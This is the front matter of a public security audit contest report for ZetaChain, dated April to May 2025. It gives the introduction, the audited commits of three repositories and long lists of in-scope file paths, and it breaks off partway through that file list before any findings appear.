



Security Review For ZetaChain



Public Best Efforts Audit Contest Prepared For: **ZetaChain**

Lead Security Expert:

g

Date Audited:

April 14 - May 12, 2025

Introduction

ZetaChain is a layer one EVM compatible chain with a native interoperability solution built in. Allowing developers to build Universal Dapps that interact with all chains

Scope

Repository: [zeta-chain/ethermint](https://github.com/zeta-chain/ethermint)

Audited Commit: [ea52413a15f3088afbce30f60fd0705df6ad8a8b](https://github.com/zeta-chain/ethermint/commit/ea52413a15f3088afbce30f60fd0705df6ad8a8b)

Files:

- [app/ante/ante.go](#)
- [app/ante/authz.go](#)
- [app/ante/eip712.go](#)
- [app/ante/eth.go](#)
- [app/ante/fee_checker.go](#)
- [app/ante/fee_market.go](#)
- [app/ante/fees.go](#)
- [app/ante/handler_options.go](#)
- [app/ante/interfaces.go](#)
- [app/ante/reject_msgs.go](#)
- [app/ante/setup.go](#)
- [app/ante/sigverify.go](#)
- [app/app.go](#)
- [app/export.go](#)
- [app/signer.go](#)
- [app/upgrades.go](#)
- [app/utils.go](#)
- [client/config.go](#)
- [client/debug/debug.go](#)
- [client/docs/config.json](#)
- [client/docs/statik/init.go](#)
- [client/docs/statik/statik.go](#)
- [client/export.go](#)

- client/import.go
- client/keys.go
- client/keys/add.go
- client/keys/utls.go
- client/testnet.go
- cmd/config/config.go
- cmd/ethermintd/flags.go
- cmd/ethermintd/genaccounts.go
- cmd/ethermintd/main.go
- cmd/ethermintd/root.go
- crypto/codec/amino.go
- crypto/codec/codec.go
- crypto/ethsecp256k1/ethsecp256k1.go
- crypto/hd/algorithm.go
- encoding/codec/codec.go
- encoding/config.go
- indexer/kv_indexer.go
- rpc/apis.go
- rpc/backend/account_info.go
- rpc/backend/backend.go
- rpc/backend/blocks.go
- rpc/backend/call_tx.go
- rpc/backend/chain_info.go
- rpc/backend/filters.go
- rpc/backend/node_info.go
- rpc/backend/sign_tx.go
- rpc/backend/tracing.go
- rpc/backend/tx_info.go
- rpc/backend/utls.go
- rpc/ethereum/pubsub/pubsub.go
- rpc/namespaces/ethereum/debug/api.go

- `rpc/namespaces/ethereum/debug/trace.go`
- `rpc/namespaces/ethereum/debug/trace_fallback.go`
- `rpc/namespaces/ethereum/debug/utils.go`
- `rpc/namespaces/ethereum/eth/api.go`
- `rpc/namespaces/ethereum/eth/filters/api.go`
- `rpc/namespaces/ethereum/eth/filters/filter_system.go`
- `rpc/namespaces/ethereum/eth/filters/filters.go`
- `rpc/namespaces/ethereum/eth/filters/subscription.go`
- `rpc/namespaces/ethereum/eth/filters/utils.go`
- `rpc/namespaces/ethereum/miner/api.go`
- `rpc/namespaces/ethereum/miner/unsupported.go`
- `rpc/namespaces/ethereum/net/api.go`
- `rpc/namespaces/ethereum/personal/api.go`
- `rpc/namespaces/ethereum/txpool/api.go`
- `rpc/namespaces/ethereum/web3/api.go`
- `rpc/types/addrlock.go`
- `rpc/types/block.go`
- `rpc/types/events.go`
- `rpc/types/query_client.go`
- `rpc/types/types.go`
- `rpc/types/utils.go`
- `rpc/websockets.go`
- `server/config/config.go`
- `server/config/toml.go`
- `server/flags/flags.go`
- `server/indexer_cmd.go`
- `server/indexer_service.go`
- `server/json_rpc.go`
- `server/start.go`
- `server/util.go`
- `store/cachekv/internal/btree.go`

- `store/cachekv/internal/memiterator.go`
- `store/cachekv/internal/mergeiterator.go`
- `store/cachekv/store.go`
- `store/cachemulti/store.go`
- `x/evm/client/cli/query.go`
- `x/evm/client/cli/tx.go`
- `x/evm/client/cli/utls.go`
- `x/evm/genesis.go`
- `x/evm/keeper/abci.go`
- `x/evm/keeper/config.go`
- `x/evm/keeper/gas.go`
- `x/evm/keeper/grpc_query.go`
- `x/evm/keeper/hooks.go`
- `x/evm/keeper/keeper.go`
- `x/evm/keeper/migrations.go`
- `x/evm/keeper/msg_server.go`
- `x/evm/keeper/params.go`
- `x/evm/keeper/state_transition.go`
- `x/evm/keeper/statedb.go`
- `x/evm/keeper/tracer.go`
- `x/evm/keeper/utls.go`
- `x/evm/module.go`
- `x/evm/simulation/decoder.go`
- `x/evm/statedb/access_list.go`
- `x/evm/statedb/config.go`
- `x/evm/statedb/interfaces.go`
- `x/evm/statedb/journal.go`
- `x/evm/statedb/native.go`
- `x/evm/statedb/state_object.go`
- `x/evm/statedb/statedb.go`
- `x/evm/statedb/transient_storage.go`

- x/evm/types/ERC20Contract.json
- x/evm/types/SimpleStorageContract.json
- x/evm/types/TestMessageCall.json
- x/evm/types/access_list.go
- x/evm/types/access_list_tx.go
- x/evm/types/chain_config.go
- x/evm/types/codec.go
- x/evm/types/compiled_contract.go
- x/evm/types/dynamic_fee_tx.go
- x/evm/types/errors.go
- x/evm/types/events.go
- x/evm/types/genesis.go
- x/evm/types/interfaces.go
- x/evm/types/key.go
- x/evm/types/legacy_tx.go
- x/evm/types/logs.go
- x/evm/types/msg.go
- x/evm/types/params.go
- x/evm/types/params_legacy.go
- x/evm/types/query.go
- x/evm/types/query.pb.gw.go
- x/evm/types/storage.go
- x/evm/types/tracer.go
- x/evm/types/tx.go
- x/evm/types/tx.pb.gw.go
- x/evm/types/tx_args.go
- x/evm/types/tx_data.go
- x/evm/types/utils.go
- x/feemarket/client/cli/query.go
- x/feemarket/genesis.go
- x/feemarket/keeper/abci.go

- [x/feemarket/keeper/eip1559.go](#)
- [x/feemarket/keeper/grpc_query.go](#)
- [x/feemarket/keeper/keeper.go](#)
- [x/feemarket/keeper/migrations.go](#)
- [x/feemarket/keeper/msg_server.go](#)
- [x/feemarket/keeper/params.go](#)
- [x/feemarket/migrations/v4/migrate.go](#)
- [x/feemarket/migrations/v4/types/params.go](#)
- [x/feemarket/module.go](#)
- [x/feemarket/spec/01_concepts.md](#)
- [x/feemarket/spec/02_state.md](#)
- [x/feemarket/spec/03_begin_block.md](#)
- [x/feemarket/spec/04_end_block.md](#)
- [x/feemarket/spec/05_keeper.md](#)
- [x/feemarket/spec/06_events.md](#)
- [x/feemarket/spec/07_params.md](#)
- [x/feemarket/spec/08_client.md](#)
- [x/feemarket/spec/09_antehandlers.md](#)
- [x/feemarket/spec/10_future_improvements.md](#)
- [x/feemarket/spec/README.md](#)
- [x/feemarket/types/codec.go](#)
- [x/feemarket/types/events.go](#)
- [x/feemarket/types/genesis.go](#)
- [x/feemarket/types/interfaces.go](#)
- [x/feemarket/types/keys.go](#)
- [x/feemarket/types/msg.go](#)
- [x/feemarket/types/params.go](#)
- [x/feemarket/types/query.pb.gw.go](#)
- [x/feemarket/types/tx.pb.gw.go](#)

Repository: zeta-chain/go-tss

Audited Commit: 032c92237bb9bd7e952cb57d4c6d126cf0d70fdd

Files:

- common/local_cache_item.go
- common/status.go
- common/tss.go
- common/tss_helper.go
- common/types.go
- conversion/bech32.go
- conversion/conversion.go
- conversion/key_provider.go
- conversion/tss_helper.go
- keysign/ecdsa/tss_keysign.go
- keysign/eddsa/tss_keysign.go
- keysign/keysign.go
- keysign/notifier.go
- keysign/request.go
- keysign/response.go
- keysign/signature_notifier.go
- messages/generate.sh
- messages/join_party.proto
- messages/p2p_message.go
- messages/signature_notifier.proto
- messages/tss_messages.go
- messages/version.go
- monitor/metric.go
- p2p/communication.go
- p2p/message_id_subscriber.go
- p2p/metric_reporter.go
- p2p/party_coordinator.go
- p2p/peer_address.go

- p2p/peer_status.go
 - p2p/types.go
 - p2p/whitelist_connection_gater.go
 - storage/localstate_mgr.go
 - storage/mock_localstatemanager.go
 - tss/keygen.go
 - tss/keysign.go
 - tss/tss.go
-

Repository: zeta-chain/node

Audited Commit: a32ffd88ea9957c8f3424466bb358b4197d41889

Files:

- app/ante/ante.go
- app/ante/authz.go
- app/ante/fees.go
- app/ante/handler_options.go
- app/ante/interfaces.go
- app/ante/system_tx_priority_decorator.go
- app/ante/vesting.go
- app/app.go
- app/config.go
- app/encoding.go
- app/export.go
- app/modules.go
- app/params/encoding.go
- app/params/proto.go
- app/setup_handlers.go
- app/upgrade_tracker.go
- pkg/authz/authz_tx_types.go
- pkg/bg/bg.go
- pkg/chains/address.go

- pkg/chains/bitcoin.go
- pkg/chains/bitcoin_testnet4.go
- pkg/chains/chain.go
- pkg/chains/chain_filters.go
- pkg/chains/chain_id.go
- pkg/chains/chains.go
- pkg/chains/conversion.go
- pkg/chains/fast_confirmation.go
- pkg/chains/status.go
- pkg/coin/coin.go
- pkg/constant/constant.go
- pkg/constant/version.go
- pkg/contracts/solana/account_info.go
- pkg/contracts/solana/gateway.go
- pkg/contracts/solana/gateway_message.go
- pkg/contracts/solana/idl.go
- pkg/contracts/solana/inbound.go
- pkg/contracts/solana/instruction.go
- pkg/contracts/solana/pda.go
- pkg/contracts/sui/crypto.go
- pkg/contracts/sui/deposit.go
- pkg/contracts/sui/gateway.go
- pkg/contracts/sui/withdrawal.go
- pkg/contracts/ton/coin.go
- pkg/contracts/ton/gateway.go
- pkg/contracts/ton/gateway_deploy.go
- pkg/contracts/ton/gateway_msg.go
- pkg/contracts/ton/gateway_parse.go
- pkg/contracts/ton/gateway_send.go
- pkg/contracts/ton/gateway_tx.go
- pkg/contracts/ton/tlb.go

- pkg/contracts/uniswap/lib/contracts/libraries/transferhelper.sol/transferhelper.go
- pkg/contracts/uniswap/v2-core/contracts/libraries/math.sol/math.go
- pkg/contracts/uniswap/v2-core/contracts/libraries/safemath.sol/safemath.go
- pkg/contracts/uniswap/v2-core/contracts/libraries/uq112x112.sol/uq112x112.go
- pkg/contracts/uniswap/v2-core/contracts/uniswapv2erc20.sol/uniswapv2erc20.go
- pkg/contracts/uniswap/v2-core/contracts/uniswapv2factory.sol/uniswapv2factory.go
- pkg/contracts/uniswap/v2-core/contracts/uniswapv2pair.sol/uniswapv2pair.go
- pkg/contracts/uniswap/v2-periphery/contracts/libraries/safemath.sol/safemath.go
- pkg/contracts/uniswap/v2-periphery/contracts/libraries/uniswapv2library.sol/uniswapv2library.go
- pkg/contracts/uniswap/v2-periphery/contracts/uniswapv2router02.sol/uniswapv2router02.go
- pkg/cosmos/cosmos.go
- pkg/crypto/aes256_gcm.go
- pkg/crypto/evm_address.go
- pkg/crypto/pubkey.go
- pkg/crypto/tss.go
- pkg/errors/crosschain_error_message.go
- pkg/fanout/fanout.go
- pkg/gas/gas_limits.go
- pkg/graceful/graceful.go
- pkg/math/bits/bits.go
- pkg/math/cosmos_uint.go
- pkg/math/float.go
- pkg/math/slice.go
- pkg/memo/arg.go
- pkg/memo/codec.go
- pkg/memo/codec_abi.go
- pkg/memo/codec_compact.go

- pkg/memo/fields.go
- pkg/memo/fields_v0.go
- pkg/memo/header.go
- pkg/memo/memo.go
- pkg/mempool/custom_proposal_handler.go
- pkg/mempool/priority_nonce_mempool.go
- pkg/mempool/senders_with_nonce.go
- pkg/os/console.go
- pkg/os/path.go
- pkg/proofs/ethereum/proof.go
- pkg/proofs/headers.go
- pkg/proofs/proof.go
- pkg/ptr/ptr.go
- pkg/retry/retry.go
- pkg/rpc/clients.go
- pkg/rpc/clients_authority.go
- pkg/rpc/clients_cosmos.go
- pkg/rpc/clients_crosschain.go
- pkg/rpc/clients_ethermint.go
- pkg/rpc/clients_lightclient.go
- pkg/rpc/clients_observer.go
- pkg/rpc/clients_tendermint.go
- pkg/scheduler/context.go
- pkg/scheduler/metrics.go
- pkg/scheduler/opts.go
- pkg/scheduler/scheduler.go
- pkg/scheduler/tickers.go
- pkg/sdkconfig/default/default.go
- pkg/sdkconfig/sdkconfig.go
- pkg/ticker/ticker.go
- precompiles/bank/bank.go

- precompiles/bank/bindings.go
- precompiles/bank/const.go
- precompiles/bank/logs.go
- precompiles/bank/method_balance_of.go
- precompiles/bank/method_deposit.go
- precompiles/bank/method_withdraw.go
- precompiles/logs/logs.go
- precompiles/precompiles.go
- precompiles/prototype/bindings.go
- precompiles/prototype/prototype.go
- precompiles/staking/bindings.go
- precompiles/staking/const.go
- precompiles/staking/logs.go
- precompiles/staking/method_claim_rewards.go
- precompiles/staking/method_distribute.go
- precompiles/staking/method_get_all_validators.go
- precompiles/staking/method_get_rewards.go
- precompiles/staking/method_get_shares.go
- precompiles/staking/method_get_validators.go
- precompiles/staking/method_move_stake.go
- precompiles/staking/method_stake.go
- precompiles/staking/method_unstake.go
- precompiles/staking/staking.go
- precompiles/types/address.go
- precompiles/types/coin.go
- precompiles/types/errors.go
- precompiles/types/types.go
- rpc/apis.go
- rpc/backend/account_info.go
- rpc/backend/backend.go
- rpc/backend/blocks.go

- `rpc/backend/call_tx.go`
- `rpc/backend/chain_info.go`
- `rpc/backend/filters.go`
- `rpc/backend/node_info.go`
- `rpc/backend/sign_tx.go`
- `rpc/backend/tracing.go`
- `rpc/backend/tx_info.go`
- `rpc/backend/utils.go`
- `rpc/ethereum/pubsub/pubsub.go`
- `rpc/namespaces/ethereum/debug/api.go`
- `rpc/namespaces/ethereum/debug/trace.go`
- `rpc/namespaces/ethereum/debug/trace_fallback.go`
- `rpc/namespaces/ethereum/debug/utils.go`
- `rpc/namespaces/ethereum/eth/api.go`
- `rpc/namespaces/ethereum/eth/filters/api.go`
- `rpc/namespaces/ethereum/eth/filters/filter_system.go`
- `rpc/namespaces/ethereum/eth/filters/filters.go`
- `rpc/namespaces/ethereum/eth/filters/subscription.go`
- `rpc/namespaces/ethereum/eth/filters/utils.go`
- `rpc/namespaces/ethereum/miner/api.go`
- `rpc/namespaces/ethereum/miner/unsupported.go`
- `rpc/namespaces/ethereum/net/api.go`
- `rpc/namespaces/ethereum/personal/api.go`
- `rpc/namespaces/ethereum/txpool/api.go`
- `rpc/namespaces/ethereum/web3/api.go`
- `rpc/types/addrlock.go`
- `rpc/types/block.go`
- `rpc/types/events.go`
- `rpc/types/query_client.go`
- `rpc/types/types.go`
- `rpc/types/utils.go`

- `rpc/websockets.go`
- `x/authority/client/cli/query.go`
- `x/authority/client/cli/query_authorization_list.go`
- `x/authority/client/cli/query_chain_info.go`
- `x/authority/client/cli/query_policies.go`
- `x/authority/client/cli/tx.go`
- `x/authority/client/cli/tx_add_authorization.go`
- `x/authority/client/cli/tx_remove_authorization.go`
- `x/authority/client/cli/tx_remove_chain_info.go`
- `x/authority/client/cli/tx_update_chain_info.go`
- `x/authority/client/cli/tx_update_policies.go`
- `x/authority/genesis.go`
- `x/authority/keeper/authorization_list.go`
- `x/authority/keeper/chain_info.go`
- `x/authority/keeper/grpc_query.go`
- `x/authority/keeper/grpc_query_authorization_list.go`
- `x/authority/keeper/grpc_query_chain_info.go`
- `x/authority/keeper/grpc_query_policies.go`
- `x/authority/keeper/keeper.go`
- `x/authority/keeper/migrator.go`
- `x/authority/keeper/msg_server.go`
- `x/authority/keeper/msg_server_add_authorization.go`
- `x/authority/keeper/msg_server_remove_authorization.go`
- `x/authority/keeper/msg_server_remove_chain_info.go`
- `x/authority/keeper/msg_server_update_chain_info.go`
- `x/authority/keeper/msg_server_update_policies.go`
- `x/authority/keeper/policies.go`
- `x/authority/migrations/v3/migrate.go`
- `x/authority/module.go`
- `x/authority/types/authorization_list.go`
- `x/authority/types/chain_info.go`

- x/authority/types/codec.go
- x/authority/types/errors.go
- x/authority/types/genesis.go
- x/authority/types/keys.go
- x/authority/types/message_add_authorization.go
- x/authority/types/message_remove_authorization.go
- x/authority/types/message_remove_chain_info.go
- x/authority/types/message_update_chain_info.go
- x/authority/types/message_update_policies.go
- x/authority/types/policies.go
- x/authority/types/policy_type.go
- x/authority/types/query.pb.gw.go
- x/crosschain/client/cli/cli_gas_price.go
- x/crosschain/client/cli/cli_last_block_height.go
- x/crosschain/client/cli/cli_refund_aborted.go
- x/crosschain/client/cli/cli_tss.go
- x/crosschain/client/cli/cli_whitelist_erc20.go
- x/crosschain/client/cli/cli_zeta_height.go
- x/crosschain/client/cli/query.go
- x/crosschain/client/cli/query_cctx.go
- x/crosschain/client/cli/query_cctx_rate_limit.go
- x/crosschain/client/cli/query_inbound_hash_to_cctx.go
- x/crosschain/client/cli/query_inbound_tracker.go
- x/crosschain/client/cli/query_outbound_tracker.go
- x/crosschain/client/cli/query_rate_limiter_flags.go
- x/crosschain/client/cli/query_zeta_accounting.go
- x/crosschain/client/cli/tx.go
- x/crosschain/client/cli/tx_add_outbound_tracker.go
- x/crosschain/client/cli/tx_inbound_tracker.go
- x/crosschain/client/cli/tx_remove_outbound_tracker.go
- x/crosschain/client/cli/tx_vote_inbound.go

- x/crosschain/client/cli/tx_vote_outbound.go
- x/crosschain/client/cli/tx_vote_stuck_cctx.go
- x/crosschain/genesis.go
- x/crosschain/keeper/abci.go
- x/crosschain/keeper/abort.go
- x/crosschain/keeper/cctx.go
- x/crosschain/keeper/cctx_counter.go
- x/crosschain/keeper/cctx_gateway_observers.go
- x/crosschain/keeper/cctx_gateway_zevm.go
- x/crosschain/keeper/cctx_gateways.go
- x/crosschain/keeper/cctx_orchestrator_validate_inbound.go
- x/crosschain/keeper/cctx_orchestrator_validate_outbound.go
- x/crosschain/keeper/cctx_utils.go
- x/crosschain/keeper/events.go
- x/crosschain/keeper/evm_deposit.go
- x/crosschain/keeper/evm_hooks.go
- x/crosschain/keeper/finalized_inbounds.go
- x/crosschain/keeper/foreign_coins.go
- x/crosschain/keeper/gas_payment.go
- x/crosschain/keeper/gas_price.go
- x/crosschain/keeper/grpc_query.go
- x/crosschain/keeper/grpc_query_cctx.go
- x/crosschain/keeper/grpc_query_cctx_rate_limit.go
- x/crosschain/keeper/grpc_query_gas_price.go
- x/crosschain/keeper/grpc_query_inbound_hash_to_cctx.go
- x/crosschain/keeper/grpc_query_inbound_tracker.go
- x/crosschain/keeper/grpc_query_last_block_height.go
- x/crosschain/keeper/grpc_query_last_zeta_height.go
- x/crosschain/keeper/grpc_query_legacy.go
- x/crosschain/keeper/grpc_query_outbound_tracker.go
- x/crosschain/keeper/grpc_query_rate_limiter_flags.go

- x/crosschain/keeper/grpc_query_zeta_conversion_rate.go
- x/crosschain/keeper/inbound_hash_to_cctx.go
- x/crosschain/keeper/inbound_tracker.go
- x/crosschain/keeper/initiate_outbound.go
- x/crosschain/keeper/keeper.go
- x/crosschain/keeper/last_block_height.go
- x/crosschain/keeper/migrator.go
- x/crosschain/keeper/msg_server.go
- x/crosschain/keeper/msg_server_abort_stuck_cctx.go
- x/crosschain/keeper/msg_server_add_inbound_tracker.go
- x/crosschain/keeper/msg_server_add_outbound_tracker.go
- x/crosschain/keeper/msg_server_migrate_erc20_custody_funds.go
- x/crosschain/keeper/msg_server_migrate_tss_funds.go
- x/crosschain/keeper/msg_server_refund_aborted_tx.go
- x/crosschain/keeper/msg_server_remove_inbound_tracker.go
- x/crosschain/keeper/msg_server_remove_outbound_tracker.go
- x/crosschain/keeper/msg_server_update_erc20_custody_pause_status.go
- x/crosschain/keeper/msg_server_update_rate_limiter_flags.go
- x/crosschain/keeper/msg_server_update_tss.go
- x/crosschain/keeper/msg_server_vote_gas_price.go
- x/crosschain/keeper/msg_server_vote_inbound_tx.go
- x/crosschain/keeper/msg_server_vote_outbound_tx.go
- x/crosschain/keeper/msg_server_whitelist_erc20.go
- x/crosschain/keeper/outbound_tracker.go
- x/crosschain/keeper/rate_limiter_flags.go
- x/crosschain/keeper/v2_zevm_inbound.go
- x/crosschain/keeper/zeta_accounting.go
- x/crosschain/migrations/v5/migrate.go
- x/crosschain/module.go
- x/crosschain/module_simulation.go
- x/crosschain/simulation/decoders.go

- x/crosschain/simulation/operation_abort_stuck_cctx.go
- x/crosschain/simulation/operation_add_inbound_tracker.go
- x/crosschain/simulation/operation_add_outbound_tracker.go
- x/crosschain/simulation/operation_gas_price_voter.go
- x/crosschain/simulation/operation_refund_aborted_cctx.go
- x/crosschain/simulation/operation_remove_outbound_tracker.go
- x/crosschain/simulation/operation_update_erc20_pause_status.go
- x/crosschain/simulation/operation_update_rate_limiter_flags.go
- x/crosschain/simulation/operation_update_tss_address.go
- x/crosschain/simulation/operation_vote_inbound.go
- x/crosschain/simulation/operation_vote_outbound.go
- x/crosschain/simulation/operation_whitelist_erc20.go
- x/crosschain/simulation/operations.go
- x/crosschain/types/authz.go
- x/crosschain/types/cctx.go
- x/crosschain/types/cmd_cctxs.go
- x/crosschain/types/codec.go
- x/crosschain/types/errors.go
- x/crosschain/types/expected_keepers.go
- x/crosschain/types/genesis.go
- x/crosschain/types/inbound_params.go
- x/crosschain/types/inbound_parsing.go
- x/crosschain/types/key_inbound_hash_to_cctx.go
- x/crosschain/types/keys.go
- x/crosschain/types/legacy_msgs.go
- x/crosschain/types/message_abort_stuck_cctx.go
- x/crosschain/types/message_add_inbound_tracker.go
- x/crosschain/types/message_add_outbound_tracker.go
- x/crosschain/types/message_migrate_erc20_custody_funds.go
- x/crosschain/types/message_migrate_tss_funds.go
- x/crosschain/types/message_refund_aborted.go

- x/crosschain/types/message_remove_inbound_tracker.go
- x/crosschain/types/message_remove_outbound_tracker.go
- x/crosschain/types/message_update_erc20_custody_pause_status.go
- x/crosschain/types/message_update_rate_limiter_flags.go
- x/crosschain/types/message_update_tss_address.go
- x/crosschain/types/message_vote_gas_price.go
- x/crosschain/types/message_vote_inbound.go
- x/crosschain/types/message_vote_outbound.go
- x/crosschain/types/message_whitelist_erc20.go
- x/crosschain/types/outbound_params.go
- x/crosschain/types/outbound_tracker.go
- x/crosschain/types/query.pb.gw.go
- x/crosschain/types/rate_limiter_flags.go
- x/crosschain/types/revert_options.go
- x/crosschain/types/status.go
- x/crosschain/types/tx_body_verification.go
- x/crosschain/types/types.go
- x/crosschain/types/validate.go
- x/emissions/abci.go
- x/emissions/client/cli/query.go
- x/emissions/client/cli/query_list_balances.go
- x/emissions/client/cli/query_params.go
- x/emissions/client/cli/query_show_available_emissions.go
- x/emissions/client/cli/tx.go
- x/emissions/client/cli/tx_withdraw_emissions.go
- x/emissions/exported/exported.go
- x/emissions/genesis.go
- x/emissions/keeper/block_rewards_components.go
- x/emissions/keeper/events.go
- x/emissions/keeper/grpc_query.go
- x/emissions/keeper/grpc_query_list_balances.go

- x/emissions/keeper/grpc_query_params.go
- x/emissions/keeper/grpc_query_show_available_emissions.go
- x/emissions/keeper/keeper.go
- x/emissions/keeper/migrator.go
- x/emissions/keeper/msg_server.go
- x/emissions/keeper/msg_server_update_params.go
- x/emissions/keeper/msg_server_withdraw_emissions.go
- x/emissions/keeper/params.go
- x/emissions/keeper/withdrawable_emissions.go
- x/emissions/migrations/v5/migrate.go
- x/emissions/module.go
- x/emissions/module_simulation.go
- x/emissions/simulation/decoders.go
- x/emissions/simulation/operation_withdraw_emissions.go
- x/emissions/simulation/operations.go
- x/emissions/types/codec.go
- x/emissions/types/distributions.go
- x/emissions/types/errors.go
- x/emissions/types/expected_keepers.go
- x/emissions/types/genesis.go
- x/emissions/types/keys.go
- x/emissions/types/legacy_params.go
- x/emissions/types/message_update_params.go
- x/emissions/types/message_withdraw_emissions.go
- x/emissions/types/params.go
- x/emissions/types/params_legacy.go
- x/fungible/client/cli/query.go
- x/fungible/client/cli/query_code_hash.go
- x/fungible/client/cli/query_foreign_coins.go
- x/fungible/client/cli/query_gas_stability_pool.go
- x/fungible/client/cli/query_system_contract.go

- x/fungible/client/cli/tx.go
- x/fungible/client/cli/tx_deploy_fungible_coin_zrc_4.go
- x/fungible/client/cli/tx_deploy_system_contracts.go
- x/fungible/client/cli/tx_remove_foreign_coin.go
- x/fungible/client/cli/tx_update_contract_bytecode.go
- x/fungible/client/cli/tx_update_gateway_contract.go
- x/fungible/client/cli/tx_update_system_contract.go
- x/fungible/client/cli/tx_update_zrc20_liquidity_cap.go
- x/fungible/client/cli/tx_update_zrc20_paused_status.go
- x/fungible/client/cli/tx_update_zrc20_withdraw_fee.go
- x/fungible/genesis.go
- x/fungible/keeper/deposits.go
- x/fungible/keeper/evm.go
- x/fungible/keeper/evm_gateway.go
- x/fungible/keeper/evm_hooks.go
- x/fungible/keeper/foreign_coins.go
- x/fungible/keeper/gas_coin_and_pool.go
- x/fungible/keeper/gas_price.go
- x/fungible/keeper/gas_stability_pool.go
- x/fungible/keeper/grpc_query.go
- x/fungible/keeper/grpc_query_code_hash.go
- x/fungible/keeper/grpc_query_foreign_coins.go
- x/fungible/keeper/grpc_query_gas_stability_pool.go
- x/fungible/keeper/grpc_query_system_contract.go
- x/fungible/keeper/keeper.go
- x/fungible/keeper/migrator.go
- x/fungible/keeper/msg_server.go
- x/fungible/keeper/msg_server_deploy_fungible_coin_zrc20.go
- x/fungible/keeper/msg_server_deploy_system_contract.go
- x/fungible/keeper/msg_server_pause_zrc20.go
- x/fungible/keeper/msg_server_remove_foreign_coin.go

- x/fungible/keeper/msg_server_udpate_zrc20_liquidity_cap.go
- x/fungible/keeper/msg_server_unpause_zrc20.go
- x/fungible/keeper/msg_server_update_contract_bytecode.go
- x/fungible/keeper/msg_server_update_gateway_contract.go
- x/fungible/keeper/msg_server_update_system_contract.go
- x/fungible/keeper/msg_server_update_zrc20_name.go
- x/fungible/keeper/msg_server_update_zrc20_withdraw_fee.go
- x/fungible/keeper/system_contract.go
- x/fungible/keeper/zeta.go
- x/fungible/keeper/zevm_msg_passing.go
- x/fungible/keeper/zrc20_cosmos_coins_mapping.go
- x/fungible/keeper/zrc20_methods.go
- x/fungible/migrations/v3/migrate.go
- x/fungible/module.go
- x/fungible/module_simulation.go
- x/fungible/simulation/decoders.go
- x/fungible/simulation/operations.go
- x/fungible/types/codec.go
- x/fungible/types/errors.go
- x/fungible/types/evm.go
- x/fungible/types/expected_keepers.go
- x/fungible/types/gas_stablity_pool.go
- x/fungible/types/genesis.go
- x/fungible/types/key_foreign_coins.go
- x/fungible/types/keys.go
- x/fungible/types/message_deploy_fungible_coin_zrc20.go
- x/fungible/types/message_deploy_system_contracts.go
- x/fungible/types/message_pause_zrc20.go
- x/fungible/types/message_remove_foreign_coin.go
- x/fungible/types/message_unpause_zrc20.go
- x/fungible/types/message_update_contract_bytecode.go

- x/fungible/types/message_update_gateway_contract.go
- x/fungible/types/message_update_system_contract.go
- x/fungible/types/message_update_zrc20_liquidity_cap.go
- x/fungible/types/message_update_zrc20_name.go
- x/fungible/types/message_update_zrc20_withdraw_fee.go
- x/fungible/types/query.pb.gw.go
- x/fungible/types/zrc20.go
- x/ibccrosschain/client/cli/query.go
- x/ibccrosschain/client/cli/tx.go
- x/ibccrosschain/genesis.go
- x/ibccrosschain/ibc_module.go
- x/ibccrosschain/keeper/grpc_query.go
- x/ibccrosschain/keeper/keeper.go
- x/ibccrosschain/keeper/msg_server.go
- x/ibccrosschain/module.go
- x/ibccrosschain/types/client_ctx.go
- x/ibccrosschain/types/codec.go
- x/ibccrosschain/types/errors.go
- x/ibccrosschain/types/expected_keepers.go
- x/ibccrosschain/types/genesis.go
- x/ibccrosschain/types/keys.go
- x/lightclient/client/cli/query.go
- x/lightclient/client/cli/query_block_header.go
- x/lightclient/client/cli/query_chain_state.go
- x/lightclient/client/cli/query_verification_flags.go
- x/lightclient/client/cli/tx.go
- x/lightclient/client/cli/tx_disable_verification_flags.go
- x/lightclient/client/cli/tx_enable_verification_flags.go
- x/lightclient/genesis.go
- x/lightclient/keeper/block_header.go
- x/lightclient/keeper/block_header_verification.go

- x/lightclient/keeper/chain_state.go
- x/lightclient/keeper/grpc_query.go
- x/lightclient/keeper/grpc_query_block_header.go
- x/lightclient/keeper/grpc_query_chain_state.go
- x/lightclient/keeper/grpc_query_header_enabled_chains.go
- x/lightclient/keeper/grpc_query_prove.go
- x/lightclient/keeper/keeper.go
- x/lightclient/keeper/msg_server.go
- x/lightclient/keeper/msg_server_disable_block_header_verification.go
- x/lightclient/keeper/proof.go
- x/lightclient/module.go
- x/lightclient/types/block_header_verification.go
- x/lightclient/types/codec.go
- x/lightclient/types/errors.go
- x/lightclient/types/expected_keepers.go
- x/lightclient/types/genesis.go
- x/lightclient/types/keys.go
- x/lightclient/types/message_disable_verification_flags.go
- x/lightclient/types/message_enable_verification_flags.go
- x/lightclient/types/query.pb.gw.go
- x/lightclient/types/verification_flags.go
- x/observer/abci.go
- x/observer/client/cli/query.go
- x/observer/client/cli/query_ballot.go
- x/observer/client/cli/query_blame.go
- x/observer/client/cli/query_chain_nonce.go
- x/observer/client/cli/query_chain_params.go
- x/observer/client/cli/query_get_tss_address.go
- x/observer/client/cli/query_keygen.go
- x/observer/client/cli/query_node_account.go
- x/observer/client/cli/query_observers.go

- x/observer/client/cli/query_operational_flags.go
- x/observer/client/cli/query_pending_nonces.go
- x/observer/client/cli/query_permission_flags.go
- x/observer/client/cli/query_show_observer_count.go
- x/observer/client/cli/query_supported_chains.go
- x/observer/client/cli/query_tss.go
- x/observer/client/cli/query_tss_fund_migrator.go
- x/observer/client/cli/tx.go
- x/observer/client/cli/tx_add_observer.go
- x/observer/client/cli/tx_disable_cctx_flags.go
- x/observer/client/cli/tx_disable_fast_confirmation.go
- x/observer/client/cli/tx_enable_cctx_flags.go
- x/observer/client/cli/tx_remove_chain_params.go
- x/observer/client/cli/tx_reset_chain_nonces.go
- x/observer/client/cli/tx_update_chain_params.go
- x/observer/client/cli/tx_update_gas_price_increase_flags.go
- x/observer/client/cli/tx_update_keygen.go
- x/observer/client/cli/tx_update_observer.go
- x/observer/client/cli/tx_update_operational_flags.go
- x/observer/client/cli/tx_vote_blame.go
- x/observer/client/cli/tx_vote_tss.go
- x/observer/client/cli/tx_utils.go
- x/observer/genesis.go
- x/observer/keeper/ballot.go
- x/observer/keeper/blame.go
- x/observer/keeper/chain_nonces.go
- x/observer/keeper/chain_params.go
- x/observer/keeper/crosschain_flags.go
- x/observer/keeper/events.go
- x/observer/keeper/grpc_query.go
- x/observer/keeper/grpc_query_ballot.go

- x/observer/keeper/grpc_query_blame.go
- x/observer/keeper/grpc_query_chain_params.go
- x/observer/keeper/grpc_query_crosschain_flags.go
- x/observer/keeper/grpc_query_keygen.go
